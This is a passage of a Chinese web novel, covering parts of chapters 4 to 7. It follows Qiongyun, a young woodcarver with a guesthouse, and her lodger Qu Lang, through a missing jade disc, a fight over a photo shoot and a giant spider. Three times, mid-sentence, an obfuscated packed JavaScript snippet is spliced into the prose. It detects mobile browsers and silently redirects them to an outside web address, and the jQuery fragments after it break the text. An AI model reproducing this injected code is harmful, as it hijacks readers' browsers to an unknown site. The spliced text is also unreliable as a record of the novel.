老农说他在田地间时常碰到蛇,现在的蛇已经少了很多,他年轻时更常见到,还被蛇咬过,他一边讲述当年惊险的经历,一边给琼云展示小腿上被蛇咬过的痕迹——不是牙洞留下的疤痕,而是凹陷,那里被剜下来过一大块坏死的肉。 老农要耕作、要吃饭,没工夫养成一朝被蛇咬十年怕井绳的毛病,倒是练就了一套对付蛇的好本领,他推搡了两下背篓,把蛇勾出来,一锄头下去,就把蛇的脖子给凿断了,他把死蛇塞回背篓,跟琼云说这蛇肉是好东西,让琼云拿回去煲汤喝。 琼云谢过了老农,没敢直接把背篓背起来,等老农走远,她又把背篓里的蛇给踢了出来,死死踩着蛇头仔细观察它被凿断的脖子,确认这蛇是真的死透了,才敢放松。 背篓里的佛甲草被毒蛇爬过,不能要了,所以琼云重新采了药,塞在自行车前框里,再用剪刀给蛇的脖子扎了一口子,倒挂着放掉血,扔回背篓,背在背上,蹬动自行车的两个轮子返家去。 琼云返家的途中,会经过一大片花田,那是伴随旅游开发种植起来的,今天的天气很好,天很蓝,云很白,空气很清澈,上午的阳光灿烂,有许多游客在这里拍照打卡。 琼云在其中发现了一个熟悉的身影,是她家的小房客,手里举着出门时带上的那台单反,他也在拍照,不过不是为了他自己,他在给别人拍照。 4. 第 4 章 屈朗手中的镜头对向的是个穿着白族服饰的年轻女人。 琼云停下来看他们拍照。 女人在阳光照耀下璀璨的花田中钻进钻出、又跑又跳,摆出各种姿势,白族服饰制式修身,上衣下裤,风格干练,帽子左侧垂着长长一条白色的穗布,时刻跟随她的动作翻飞着,更衬得她气质灵动可爱。 将这些明快的动态凝练成瞬间的摄影师则在无意之中扮演着滑稽的丑角,他紧眯一只眼睛全神贯注在镜头画面中,这意味着他很难注意到脚边的障碍物,期间或站或蹲或趴又或劈叉,不免要绊一个又一个踉跄。 琼云不知道这两人是萍水相逢、相见恨晚,还是在做交易,如果是在做交易,那么屈朗可真是找对人了。 那年轻女人身上的白族服饰虽然做出了一些迎合游客审美的改动,但所使用的布料非常整洁,刺绣精美,色彩搭配得当,没有丝毫廉价的气息,即便是租来的,也肯定价格不菲,她既然肯花钱租用或买下这套衣服那么就一定想出片,也就不会介意再花一笔钱请个相对专业的摄影师。 琼云等到两人暂停拍摄,围着相机看成片效果的时候,背着背篓过去凑热闹,她希望屈朗能够解答她的疑惑,可还没等她开口,屈朗就一脸纯真无辜地主动交代了: “这个姐姐让我帮她拍照,她……觉得她男朋友拍得不够好。” 听起来很绿茶,像会被“姐姐的男朋友”暴打一顿的样子。 琼云皱着眉朝周围打量了一圈,奇怪不见“姐姐的男朋友”,又奇怪屈朗这样连闪光灯都会忘记关掉的摄影水平是怎么获得陌生人的信赖的,靠颜值吗?琼云的视线挪回到屈朗的脸上,细看他的五官,浓眉大眼的,散发着棉被晒足阳光后蓬松温暖的气质,确实挺讨人喜欢的。 “你能吃蛇肉吗?”琼云脱下背篓给他看。 还不等屈朗回应,旁边那年轻女人先尖叫了一声,上身猛地往后仰,整个人险些翻出去。 “它已经死了。”琼云把死蛇捞出来证明给那女人看,蛇脑袋软趴趴地往下垂着。 女人嫌弃得脸皱成一团,用手挡着那恶心渗人的死蛇,尖着嗓子叫道:“你别给我看!拿远点!” “你是去捉蛇啊?”屈朗惊讶地问。 琼云摇了摇头,说:“不是,这不是我捉的,它自己跑进去,有个老伯帮我把它打死了,你今天还在我家吃饭吗?” “吃。”屈朗兴奋得狂点头,两眼放光,嘴角上扬,他指着蛇问:“炖汤吗?” “当然,清炖,我先回去了。”琼云背回背篓,跨上自行车绝尘而去。 回到家,琼云做的第一件事就是洗手,连挤两泵洗手液,用力揉搓,连指甲缝里都洗得一干二净,然后才去洗佛甲草,用水冲刷一遍,冲掉泥沙,浸在盆里,撒些盐进去泡着杀菌。 奶奶的卧室里响着戏曲频道咿咿呀呀的声音,琼云走进去,就看到奶奶的手藏在袖管里耸动,在挠胳膊上发痒的疹子,琼云连忙把她的手抽出来,捋上去袖管检查,有几处已经挠破了皮,渗出透明的有些发黏的液体来。 琼云心头火起,瞪着奶奶骂道:“等下涂药你莫对我鬼哄叭叫!” 奶奶只重复说痒。 琼云把奶奶拽进了卫生间,用清水冲洗那些被抓破的地方,幸亏奶奶年纪大了,手脚不大灵活,只抓破胳膊和前胸一些地方,腰背上不方便,只能隔着衣服靠在坚硬的地方蹭蹭。 等洗干净了,琼云又把奶奶拽回卧室,准备把抓破的地方涂上抗生素药膏,结果好不容易在抽屉里翻出一只红霉素,竟然是过期的,只好出门上药店去买。 等买回来给涂上,佛甲草也在盐水里泡得差不多了,捞出来甩干,捣成药泥就能用,药泥清清凉凉的,避开抓破的地方敷上,止痒效果立竿见影,奶奶总算消停下来,专心看她爱看的戏曲频道。 解决完奶奶,琼云就去解决那条蛇,剥皮、开膛、去脏、切段、焯水,最后扔进高压锅里和去腥的香料加黄芪一起炖,超过100摄氏度炖它半个小时,什么寄生虫也给炖死了。 十点刚过的时候,有人来敲门,琼云以为是屈朗拍完照回来了,结果打开门看到的又是四叔。 今天不是周六日,琼云感到奇怪:“老耶你咋个来了噻,没去上班去?” 四叔朝堂屋里指:“你奶奶给我打电话了,好好的怎么会长湿疹呢?” 奶奶年纪大了,生理上做不到重返青春,心理上倒是返老还童了,变得像个小孩一样爱撒娇、渴望关注,有点小病小痛小委屈都是要给自己几个儿子女儿打电话的。 但琼云认为长湿疹是件小事,几乎不花钱就能解决,只要没严重到要花大钱或者要送医院的地步,她是不会到处去通知的。 琼云把四叔放进来,引他去屋里看奶奶,告诉他药已经敷上去了,然后用一次性杯子给四叔泡了茶端过去,给他们娘俩腾出空间独处,她自己则到工作室里刨木屑去。 屈朗是卡着饭点回来的,一回来就追着琼云问蛇肉炖好了没有,他说他之前去广东玩,吃过蛇羹,很好吃,现在都惦记着那个味道。 于是还没开饭,琼云就先给屈朗盛了一碗蛇汤,放了勺子,递到他手里,说:“等下饭做好,我给你端过去,你今天到楼上去吃。” “为什么?” “我叔叔在。” 屈朗显然不明白这两者之间有什么关系:“那怎么了?” 琼云咬牙,这小孩似乎不太通人性,于是她给出了一个无法被拒绝的理由:“三个人,桌子上会很挤,放不下。” 堂屋中间放的餐桌是张小八仙桌,只有逢年过节亲友聚会时才会摆上大圆桌,托盘的容量能放下三四碟菜和一大碗米饭,确实很占位置。 “好吧。”屈朗这下没理由拒绝,他舀了一勺蛇汤加蛇肉吃,咸淡适中,不仅没有腥味,还很鲜甜,只是野生的蝮蛇肉很瘦,用牙齿把蛇肉从蛇骨上剔下来,就好像在啃鸭脖。 但屈朗吃得很幸福,一边吃还一边把琼云的厨艺夸得天上有地下无。 琼云被夸得内心波澜不惊,她知道自己厨艺很好,吃过她做的菜的人都知道。她在做饭上是有些天赋的,因为她做饭的经验并不充足,在阿妈生前,她下厨的次数屈指可数,还基本上只是烧一烧米线、洋芋或饵块,正经做饭是近些年才开始的。 屈朗喝完一碗汤,琼云又给他盛了一碗,不过这第二碗是放在托盘上和完整的一顿饭一起递给他的。 屈朗端了自己的那份跑上楼去,琼云才叫了奶奶和四叔过来开饭。 琼云和四叔有代沟,没什么话可聊,中午一顿饭吃完,她收拾了碗筷,就回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168730|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到工作室继续刨木屑,屈朗倒是又凑过来了。 “你又吃撑了吗?”琼云问这话时没抬头,手上仍在刨木屑。 屈朗哼哼傻笑了两声,说没有,他看了会儿琼云雕花,问:“你这个是怎么卖的?” 琼云抬起头,略带诧异地说:“你要买?这个不行,这是客户定的。” 屈朗恍然大悟地长噢了一声,说:“你很有名啊,都是客户来找你定做。” 琼云这才明白过来屈朗问的是“怎么卖出去”,而不是“多少钱”,她摇了摇头,说:“我没有名气,我爸有,他做这行很多年了。” 琼云提到师庆,屈朗想起了一个很早就想问但没找到契机问的问题:“你姓师,你爸应该也姓师吧?” 琼云的第一反应是屈朗发现她不是师庆亲生的,有意在试探,她放下来手中的雕刻刀,皱起眉,问:“是啊,怎么了?” 屈朗眼中闪烁着好奇的光芒:“那客户都怎么称呼你和你爸的?师师傅,师小师傅,师大师,老师,师老师,听起来都有点奇怪啊。” 原来只是因为这个,琼云松了口气,拿起雕刻刀继续刨木屑:“别人都叫我爸庆师傅。” “那你呢?” “叫我庆师傅的女儿。” “那你以后变得很有名,别人要怎么称呼你?” “随便。” “随便师傅。” “……” “随便师傅,你现在手里雕的可以卖很贵吧?” “一般,现在有机雕。” “可是手工的更值钱啊。” “现在手工的目标客户只能是有钱人,做精细活,当奢侈品卖。” 屈朗好像学到了什么不得了的大道理,认真地把头点了又点,忽而话锋一转:“那这样一件就可以卖很多钱啊,你和你爸为什么要把空房间租出去赚租金?做你们这行的应该都喜欢安静的环境吧。” 琼云咬了咬下唇,说:“做一件周期很长,而且没多少人会买单,任何行业没做到顶尖的那一批,都只够养家糊口而已。” 屈朗努努嘴,不置可否。 最终这场闲聊又是以琼云犯困为由结束的。 师庆回到家时,天刚黑,琼云将留给他的一碗蛇汤热过给他吃。 四叔还没回家,整个下午他都陪着奶奶,这下又在餐桌上和师庆交流起了兄弟感情。 交流中,四叔又提起了那块玉璧,他说他上次来拍照的时候把玉璧放到了奶奶房间的衣柜里,因为被租客撞见。这一提,师庆也想把那块玉璧再拿出来瞧瞧。 奶奶的房间就在隔壁,走两步路就到,很近,所以师庆还没吃完蛇汤,就想起身去拿,琼云却突然说:“在我房间里。” 前天四叔前脚把玉璧藏进奶奶的衣柜里,后脚琼云等四叔走了,就又把玉璧藏进了自己的房间。 师庆没有过问,等吃完了蛇汤,三个人一起上到二楼琼云的房间去拿玉璧,但是玉璧不在琼云的房间里。 “莫不是记岔了噻?”师庆问。 “没有。”琼云清楚记得自己就把玉璧放在垫被底下,晚上睡觉时还能隐约摸到,不可能记错,她把怀疑的目光剐向四叔。 四叔突然一拍大腿,指着屈朗房间的方向说:“别是看到我拍照的那个租客偷走了哦?” 5. 第 5 章 “不会是他。”这是琼云的第一直觉。 四叔却反驳:“他是外人,你又不了解他。” “不像。”琼云看着师庆说,她认为他会站在自己这一边,因为对比两人的关系亲密度,四叔也属于“外人”。 师庆思索了片刻,问琼云:“可是前几日才来到呢那个学生?” 琼云点头。 “这下可在屋头?” “没在。” 屈朗自从下午出去以后,再没有回来过,饭后闲谈时间,他告诉琼云,她在花田里见过的那个姐姐约他下午再去拍两组照片,琼云问他晚饭要不要回来吃,他说不一定,他后来没联系过琼云说要回来吃饭,琼云也没给他留。 现在临近晚上八点,天都黑透了,屈朗还没有回来,他人会在哪?明明刚开晴的昨天,他一到晚饭点就回来了,天黑以后就没出过门,每天起得也挺早的,显然不像是喜欢在夜间四处游荡的猫头鹰。 琼云想,屈朗现在应该仍和那个“拍照姐姐”在一起,一男一女夜不归宿会发生什么,不难猜,可问题是这个“拍照姐姐”有男朋友,而且就在身边…… 想到这里,琼云突然对自己的第一直觉产生了怀疑,如果屈朗实际上是这样一个道德感低下且不计后果的人,未必不敢险中求富贵。 于是当师庆提出去屈朗的房间里看看的时候,琼云没有阻拦。 琼云每两天会打扫一次租客的房间,开门进去的时候,她发现房间里的布局没有任何变化,屈朗带来的日常用品全部各安其位,晾衣架上的衣服也还没收,可见他没有跑路的打算。 但四叔却信誓旦旦地说玉璧肯定是被屈朗给偷走的,说着就打开了离他最近的衣柜门。 琼云当然是选择阻止,毕竟没有明确证据证明屈朗偷走了玉璧,何况翻箱倒柜一定会留下痕迹,也防不住屈朗在搜查途中突然回来的可能,现在网络这么发达,闹起来就是游街示全国民众,丢光了信誉,别说民宿的生意要黄,这刨木屑的主业也会受影响。 可在琼云把衣柜门按回去之后,四叔依旧不依不饶,琼云只好把话题岔开:“老耶,你今天没去上班,会不会扣工资啊?” 四叔的脑回路信号不灵似的,明显卡顿了一下,才解释:“我请过假,没关系。” 琼云说:“那你领导人挺好的,重孝道。” 四叔意味不明地用鼻音哼了一声。 琼云刻意掏出手机看了眼时间,然后接着说:“这人如果偷了东西要跑路,估计会半夜偷偷走,我今天晚上会盯着他的,老耶你先回去吧,很晚了,别耽误明天上班,而且天气预报说晚上可能会下雨,地湿容易打滑,开车不安全,还是趁着没下雨早点回去的好,玉璧的事我跟我爸会看着办的,实在不行就报警。”说话给师庆使眼色。 师庆应和了几句,搂上四弟的肩,用很轻微的力道把他往外推。父女俩这一番配合效果很不错,成功把四叔给忽悠走了。 紧接着琼云就让师庆给四婶打电话,问她四叔今天没去上班,她知不知情,看两人的说法是否一致。 而琼云则向屈朗拨去电话,第一次没拨通,片刻后,琼云又拨了一次过去,还是不通,于是改用微信联系。 然而微信上也没有收到及时的回复,琼云不由得怀疑屈朗是否出了什么意外,比如遇到抢劫犯了,比如酒喝大跌河里了,比如碰到瘾君子被乱刀砍死了,比如和他的“拍照姐姐”玩得太过火马上风了,比如出了车祸把手机也撞碎了…… 父女俩在工作室里一边刨木屑一边等,师庆在等弟妹“试探”后的二次回复,琼云在等屈朗。 大约十多分钟后,传来了敲门声,琼云抖落身上的木屑,跑去开门,可回来的并不是她期待见到的人。 “看到是我,你好像很失望?”管悠乜斜着眼。 琼云没说话,侧身给她让出道来。 “小朗回来了吗?”管悠跨过门槛。 “没有。” “哦~你在等他呀。”管悠不怀好意地笑。 琼云一脸无语,心想她脑子里尽琢磨这些事,难怪要被盯上。 管悠前天中午跑出去和阿源约完会回来,告诉琼云,阿源知道这群旅居客里有很多骗子,但唯独她的阿源冰清玉洁。她还阴阳怪气地模仿阿源说话:“你房东也是好心提醒你,不要怪她,她是个好人。”当时模仿结束后的表情十分轻蔑,就好像在说:“你瞧瞧人家的的度量。” 琼云把门闩回去,转过身来,问:“他下午联系过你吗?” 管悠的第一反应是皱眉:“他联系我干嘛?”说完忽然神色一变,抻长脖子,快把脸贴到琼云脸上,挺漂亮个人突然散发出十分猥琐的气息:“你们吵架啦?” “没有。” 管悠完全把琼云的话当放屁,她缩回脖子,抄起手仰头望月,感慨道:“弟弟就这点不好,幼稚,容易闹脾气,就像我以前谈过的那个……” 琼云也觉得管悠的话是放屁,她自己快三十岁的人了,谈起恋爱来不仍天真得像情窦初开一样,经验这么丰富也没见识人的水平成熟到哪去。 管悠自顾自地从她幼稚的某个前任聊到现在这个成熟稳重温柔体贴的阿源,大概脑子里突然浮现出了某个被粉色泡泡包裹的甜蜜瞬间,冷不丁噗嗤一声笑了出来,然后哼着歌蹦蹦跳跳地回自己房间去了。 琼云也回到工作室继续刨木屑,师庆由于舟车劳顿,打起了哈欠,先行一步上楼去休息。 于是偌大的工作室就只剩下琼云一个人,她等到夜空积满乌云,遮却月光,飘起毛毛细雨。 终于等到屈朗的回音—— “我现在回来。”手机那头的声音蔫蔫的。 琼云哦了一声,没细问,就挂断了电话。 十多分钟后,门上的铜环再次被叩响,琼云打开门,瞬间被惊大了眼睛。 屈朗的脸上和胳膊上有好几处破皮和淤青,头发还被雨淋塌了,衣服上也有明显的水痕,整个人被门头的黄色灯光一照,看起来特别悲情。 “你去哪了?” “派出所。”他的语气听起来既不爽又心虚。 “快进来。” 琼云等人进来,关上门,来到走廊,追问道:“你和别人打架,还是挨别人揍了?你相机呢?我记得你说要给人拍照去。” 屈朗停下脚步,气愤地说:“被砸坏了!” “不会是让你拍照的那个女生的男朋友干的吧?” “你怎么知道?” 琼云哭笑不得:“难怪当时没看到她男朋友,原来是被气走了。” 琼云对情侣有偏见,她认为恋爱当中的人被激素控制着,很容易丧失理智,放大个体的愚蠢,干出一些自以为浪漫实则很扰民的事情来。 当然这种偏见不是凭空产生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168731|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她之前碰到过一对傻x的情侣租客,是一对大学生,半夜不睡觉,吵得惊天动地,吵完了女方又开始□□,叫到一半高反了又叫救护车,她去收拾房间的时候还看到用过的避孕套被随手扔在地上,不幸中的万幸是那对情侣是短租,玩了两天就走人了,自那以后,她再也不把房间租给情侣了。 “她男朋友脑子有问题!”屈朗控诉道。 琼云问:“她男朋友人呢?赔你钱了吗?” “钱还没赔,派出所里关着呢,我才不跟他和解!” “那你要恭喜他,拘留几天大概率工作要黄了,女朋友也没了。”琼云顺顺他的毛,抬下巴指楼上:“快去洗澡吧,晚上凉,你衣服都湿了,捂久了容易感冒,床头抽屉里有创口贴,防水的。” 这话屈朗听着很受用,眼神重新变得水灵柔和起来,乖巧地应了一声,跑上楼去。 琼云熄掉一楼的灯,关紧门窗,也上了楼。当她进卧室拿了睡裙和内裤正准备去洗澡的时候,突然听到一阵快速的脚步声,越来越近,随之窗外闪过一个人影,紧接着她的房门就被敲响了。 “谁?” “房东姐姐,是我。” 全世界没有第二个人这样称呼过她,琼云打开门,就看到屈朗站在门外,一脸兴奋的样子,手里提着一只湿漉漉的系紧袋口的塑料袋。 琼云瞥了眼那个塑料袋,问:“什么事?” 屈朗把塑料袋递给她:“这是你的玉。” “玉?”琼云赶紧接过塑料袋,随手把睡裙和内裤甩到床上,解开塑料袋,里面正是装玉璧的那只棉布袋,她把里面缠着布的玉璧掏出来,反复打量,完好无损,连打结的位置和形状都没变过。 “怎么会在你这?这袋子为什么是湿的?”琼云抬起头问,却发现屈朗喝大了似的,满脸通红,眼神都有些迷离,不过她没心思琢磨他脸红的原因。 屈朗嗫嚅道:“湿的……因为放在马桶水箱里,电影都这么演的,你叔叔……”他话说一半突然停下,眼神复而清亮起来。 琼云微张着嘴,期待他继续说下去。 屈朗斟酌了会儿用词才继续说:“我看到你叔叔在你房间里。” “他在我房间里做什么?” “他好像在找什么东西。” “什么时候?” “你午休的时候。” “你当时怎么不告诉我?” “你在睡觉。” “你为什么不叫醒我?” “你在睡觉。” 这什么脑回路? 琼云无语,可转念一想,屈朗怎么会那么清楚玉璧就放在被垫底下呢?他即便发现了四叔的反常,随后与四叔周旋,恐怕也不能够有太多时间单独留在在房间里寻找,他是个外人,做出这种行为,比四叔这个亲人更可疑,四叔完全可以理直气壮地赶他出去。 为了试探,琼云刻意阴阳怪气地说:“你很聪明嘛,连我把玉藏在哪里都知道,还想诬陷我叔叔。” “你怀疑我!?” 屈朗的脸原本就是红的,省略了血管逐渐扩张的过程,瞪大眼睛,亮开嗓门,情绪在瞬间爆发,剧烈转变,整个人看起来完全气炸了。 “谁偷东西还送回来的?你有脑子吗!?” 琼云被吼得有点发懵,片刻后回过神来才发觉自己刚才冲动了,屈朗要是一怒之下退房走人该怎么办? 6. 第 6 章 师庆听到争吵声,开门出来,正好看到屈朗愤怒离去的背影,他不知道发生了什么事情,正打算问,就看到琼云跑过来,把一件东西塞给了他,他定睛一瞧,正是丢失的那块玉璧,感到十分诧异。 “等下再说。”琼云丢下这话,扭头就去追屈朗。 琼云的道歉声在奔跑中被气流冲刷着,她追着屈朗的背影,一路追到他房门口,然后“嘭”的一声,被拦在门外,险些撞个鼻青脸肿。 琼云喘了口气,几乎贴着房门说:“如果你打算搬走,钱我会全部退还给你。” “……” “谢谢你帮我藏好那块玉,没让它被人偷走。” “……” “你吃过晚饭了吗?” “……” “你现在饿不饿?我去给你煮碗米线,你不是喜欢吃羊肚菌吗?我多放点,不要钱……但需要一点时间,菌子没那么快熟。” “我也想吃。” 凭空出现的嗓音吓得琼云一个激灵,一转头,看见惨白的一张脸,又被吓一激灵。 元凶管悠毫无歉意,翘着兰花指轻轻拍打脸上的面膜,自言自语:“算了,我减肥,我要控制住自己。” 琼云压低声:“你走路怎么没声啊?” 管悠抛了个媚眼,凑到琼云耳边吹气:“是你太专注别人了,你俩为什么吵架,告诉我,我给你出出主意。” “没吵架。”琼云转身走人。 管悠追上去:“我都听到了,你还不承认,哎呀你告诉我嘛,你不告诉我,这抓心挠肺的我今天晚上都睡不着觉。” “嘭”。 琼云走进师庆的房间,把管悠关在门外,管悠转头就去敲屈朗的房门,结果屈朗也不理她,她只得败兴而归。 琼云与师庆说明来龙去脉,商量好暂时不泄露玉璧找回来的事实,然后就下楼去煮夜宵。 冰箱里的鲜货不多,她翻出些无毒的菌子干来凑合,下到滚水自来水各一半兑成的热水里泡着,再洒些白糖进去加速泡发,趁这档口,她上楼去洗了个澡,等吹干头发回来,也就泡发得差不多了。先下猪油把菌子炒香,再扔进高压锅里炖,炖熟后倒进砂锅,和提前泡软冷藏在冰箱备用的半份米线一起焖上三四分钟,就加勺筷一起放进托盘,端上去。 透过窗户可以看到屈朗房间里的灯是亮的,这说明他还没睡,没睡就还能吃。 琼云像给禁闭室里的罪犯送餐一样,把米线放在门口的地上,然后敲敲门通知一声,就走了。 回到自己的卧室,琼云立刻把衣服脱个精光,仅剩一条内裤,套上睡裙,掀开被子躺到床上,舒舒服服地长吁一口气,结果气还没喘顺,就听到北厢房里传来一阵叮铃哐啷的动静,那是砂锅被碰撞发出的声响。 琼云本想着屈朗要是不吃,她就端回来和师庆分了吃,可没想到屈朗的脾气竟然这么大,不吃就算了,竟然还要把砂锅踹翻。 琼云翻身下床,踩进拖鞋准备出去打探情况,结果屁股还没离开床,就听到一阵火急火燎的脚步声,打开门,屈朗已经站在门口,举着一只拳头,中指指节探出,琼云还以为他要给她一板栗。 可屈朗的表情却是与之不相符的惊恐。 “房间里有蜘蛛。”屈朗把原本打算敲门的手翻了个面,掌心朝琼云的脸推近,五指绽开:“这么大!” 原来是落荒而逃,不小心踹翻了砂锅。 琼云观察屈朗的手掌,他的手很长,中指指尖到腕线大约有二十公分,五指张开,想象那是一只蜘蛛的体型,太夸张了,她在野外都没见过这么大的,这哪里是蜘蛛?这是抱脸虫! “长啥样?腿很长很细,身体很小的那种吗?”在居民区,巨蟹属蜘蛛是最常见的。琼云往前走,屈朗让开道来,他一边比划一边做更详细的描述:“不是,身体很大,遮掉下半身就像螃蟹一样,腿也挺粗的,长满了毛,应该是捕鸟蛛,真的有我手掌这么大。” “黑色或棕色的吗?那个能吃,洗干净油炸很香的,腿是脆的,身体很有嚼劲。”中间的屋子堆放着许多杂物,琼云蹲下去往柜子里翻找杀虫剂,没留意屈朗用一脸便秘似的表情看着她。 琼云找到杀虫剂,就领着屈朗上北厢房。 放在房门口的砂锅偏离原位,洒出了些汤水来,盖子飞到一边,幸亏是木地板,没摔碎。琼云把砂锅收拾到桌子上,一扭头,看到屈朗像上次拍照忘关闪光灯被发现一样心虚地看着她。 “我不是故意的。” 琼云没回应,开门进去,屈朗紧跟在她身后。书桌上的笔记本电脑亮着,开着修图软件的页面,照片上的人是在花田里拍照的那个女生,虽然换了身轧染的裙子,也不在花田里,但琼云还是认出来了。 琼云没想到屈朗这能忘关闪光灯的拍照水平还真有两下子,拍得跟电影里的名场面截图似的,而且是青春电影,画面很清新,气质像蓝色天空下的一朵小雏菊。 琼云想,屈朗刚才在房间里修图修得一定很专注,她端米线上来使他分了心,才让他注意到房间里原来有一只抱脸虫那么大的蜘蛛。 琼云奇怪:“她男朋友打了你,你还给她修照片?” 屈朗不以为然:“又不是她打我。” 琼云又问:“她给你钱了吗?” “给了。” “给多少?” 屈朗比了个OK的手势。 “三百?” “三百。” “难怪。” 结束闲谈,琼云正式开始找蜘蛛。 蜘蛛很大,一定会很惹眼,但两个人在房间里转了一大圈,却连蜘蛛的一根腿毛都没发现。 于是琼云检查了一下窗户,窗户都关严实了,是屈朗回来时刚关严实的,说明蜘蛛肯定还在房间里。 接着琼云又蹲到地上去检查床底,由于屈朗靠她太近,检查完,她不慎一头锥攻击中了他颧骨处的淤青。 屈朗轻轻啊了一声,捂住颧骨,疼得脸皱成一团。 “不好意思。”琼云近距离瞧屈朗,才反应过来一些不对劲的地方,屈朗脸上没有创口贴,身上却散发着沐浴露的香味,原本渗着血的小伤口已经被水泡得发白。 “你没用创口贴?抽屉里没有吗?我记得我放了。”琼云像鸭子一样挪到床头柜边上拉开抽屉,装满创口贴的盒子赫然像砖头一样砌在抽屉左前的角落。 “没有经过别人的允许不要随便翻别人的东西,我花钱住在这里,这里就是我的房间。” 琼云循声回头,发现屈朗正幽怨地盯着她。 原来是因为生她的气所以故意不用。 琼云脑子里不禁浮现出了屈朗在淋浴头下痛得吱哇乱叫脸皱成包子的画面。 好一头倔驴。 “对不起。”琼云嘴角上扬,眼中带笑,道歉道得毫无诚意,“但是打扫卫生的话,你放在桌面或者地上的东西我一定会碰到。” 有道理啊,屈朗的眼神重新变得清澈起来。 琼云取了两排创口贴递给他:“伤口愈合没这么快,明天碰了水照样会痛,你就算生我的气,也不要为难自己。” 屈朗不领情:“那只蜘蛛抓不到,我今天晚上都没法睡觉,还管明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168732|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上?” 于是琼云把创口贴扔了回去,起身扶住墙壁,说:“你把手机灯打开。” “开手机灯干……”瞬间陷入黑暗,屈朗的声音也随之戛然而止,整个房间只有笔记本屏幕的光还亮着。 “手机没带过来我。”琼云说。 “你关灯干嘛?” 琼云走到书桌旁把笔记本的光也合上了:“把手机灯打开,蜘蛛喜欢阴暗的环境,拿灯往角落里晃一晃,它就会自己跑出来的。” 屈朗怪叫了一声,“你一会儿要是把蜘蛛晃我身上怎么办?”嘴上虽然这么说,但还是把手机灯给打开了。 一束强光直接砸到琼云脸上,琼云被砸得双目刺痛,一只手挡住光源,另一只手去夺屈朗的手机,期间她听到一阵很轻的从鼻腔里发出的哼笑声。 这小子故意的。 琼云拿着手机灯把房间里各个角落从头到尾慢慢晃了一遍,然后掐灭,整个房间突然暗下来,黑得伸手不见五指,她用小腿抵着床头柜定位,摸索到墙上的开关,把灯打开——抱脸虫距离她的脸不足一个拳头。 琼云踩到地雷似的被炸飞出去,下一秒就撞到一堵肉墙,她倚在屈朗怀里,两个人都心跳得飞快,胸脯剧烈起伏,皮肤滚烫如同发烧。 吊桥效应只能在吊桥上生效,在一只大到快要成精的蜘蛛面前,两人紧紧依偎也没心思想风花雪月的事情。 琼云从来没见过这么大的蜘蛛,她原本还以为屈朗只是惊吓过度,夸大了事实,结果实物看起来真就像一只抱脸虫,她无法想象要是刚才摸黑找开关不小心摸到它身上会怎么样。 “你能行吗?”琼云腿没站直,比屈朗矮一大截,她听到屈朗的嗓音从头顶传来,她抬起头看他,四目相对,他接着说:“我感觉杀虫剂都喷不死它,要把罐子打开,把它腌里面。” 琼云身体僵硬,对他说:“你往后退。” 屈朗往后退,与琼云的身体分离后,仍旧持续往后退,琼云却往前走。 屈朗的面容逐渐扭曲:“你不会要徒手抓它吧?” “喀嚓”。 琼云给蜘蛛拍了张全身照。 然后把手机还给屈朗:“搜一下。” 屈朗搜索图片,跳出满屏幕的蜘蛛大头照,看得他龇牙咧嘴:“名字就叫巨人啊……可是它的膝盖是红色的,这些照片上都没有啊。”他指给琼云看她拍的蜘蛛的“膝盖”,也就是腿关节,上面有红色的裂状纹,“你多拍几张,一张搜不灵。” 琼云没接过手机,只是轻声念了搜索引擎上搜出的名字,然后发出疑问:“它叫亚马逊巨人食鸟蛛,所以它生活在亚马逊雨林吗?国内有没有?” 屈朗点进词条看详情,里面提到了五个分布的国家:“都是南美洲的国家,刚好是亚马逊雨林分布的地方,国内应该没有。” 琼云望着墙上的蜘蛛,思索了片刻,道:“这可能是谁家养的宠物,不能杀,你……要不现在就搬走,还是?”琼云回头看屈朗,他没说话,脸上也没什么表情,只是直直盯着她,琼云无法明确识别他的情绪,但当中绝没有赞同的意味。 琼云尴尬地张合了几下嘴唇,说:“你很生气,我以为你会想退房。” 屈朗忧郁地将脸转到一边:“我不想回去。” 琼云不解:“不是只有我家可以住人啊,你可以把整个省都玩一遍。” “景点我都玩过了。” 琼云恍然大悟:“你以前来过,难怪会选择长租。” 屈朗突然闭上了双眼,整个人看起来更加忧郁:“警察给我爸妈打电话了。” 7. 第 7 章 琼云与屈朗见面的第一天就担心他父母哪天会找上门来,但她没想到这一天会来得这么快,而且恰巧发生在这样一个十分尴尬的节点——许多外力推动着,如同天神的暗示,告诉琼云,她当初与屈朗签订房租合同完全是一个错误的选择。 